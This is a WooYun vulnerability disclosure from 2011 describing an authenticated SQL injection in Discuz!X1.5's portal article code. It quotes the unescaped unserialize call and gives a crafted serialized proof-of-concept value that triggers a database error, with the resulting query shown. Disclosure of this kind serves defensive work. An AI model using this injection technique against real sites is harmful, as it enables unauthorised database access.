漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-01725
漏洞标题:DiscuzX1.5 有权限SQL注入BUG
相关厂商:Discuz!
漏洞作者: Jannock
提交时间:2011-03-27 00:53
修复时间:2011-04-26 03:00
公开时间:2011-04-26 03:00
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-03-27: 细节已通知厂商并且等待厂商处理中
2011-03-28: 厂商已经确认,细节仅向厂商公开
2011-03-31: 细节向第三方安全合作伙伴开放
2011-05-22: 细节向核心白帽子及相关领域专家公开
2011-06-01: 细节向普通白帽子公开
2011-06-11: 细节向实习白帽子公开
2011-04-26: 细节向公众公开
简要描述:
DiscuzX1.5 有权限SQL注入BUG
详细说明:
source\include\portalcp\portalcp_article.php
//90行
if($_G['gp_conver']) {
$converfiles = unserialize(stripcslashes($_G['gp_conver']));
$setarr['pic'] = $converfiles['pic'];
$setarr['thumb'] = $converfiles['thumb'];
$setarr['remote'] = $converfiles['remote'];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert('portal_article_title', $setarr, 1); //122行
进入数据库查询,因此存在SQL注射BUG。
漏洞证明:
有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章:
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。
填上:a:3:{s:3:"pic";s:3:"xx'";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'' at line 1
* [Query] INSERT INTO portal_article_title SET `title`='xxxxxxxx',`shorttitle`='',`author`='',`from`='',`fromurl`='',`dateline`='1301158320',`url`='',`allowcomment`='1',`summary`='xxxxxxxxxxxxxxxx',`prename`='',`preurl`='',`catid`='1',`tag`='0',`status`='0',`pic`='xx'',`thumb`='xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'
修复方案:
您懂得。
版权声明:转载请注明来源 Jannock@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2011-03-28 11:13
厂商回复:
感谢您的提供
最新状态:
暂无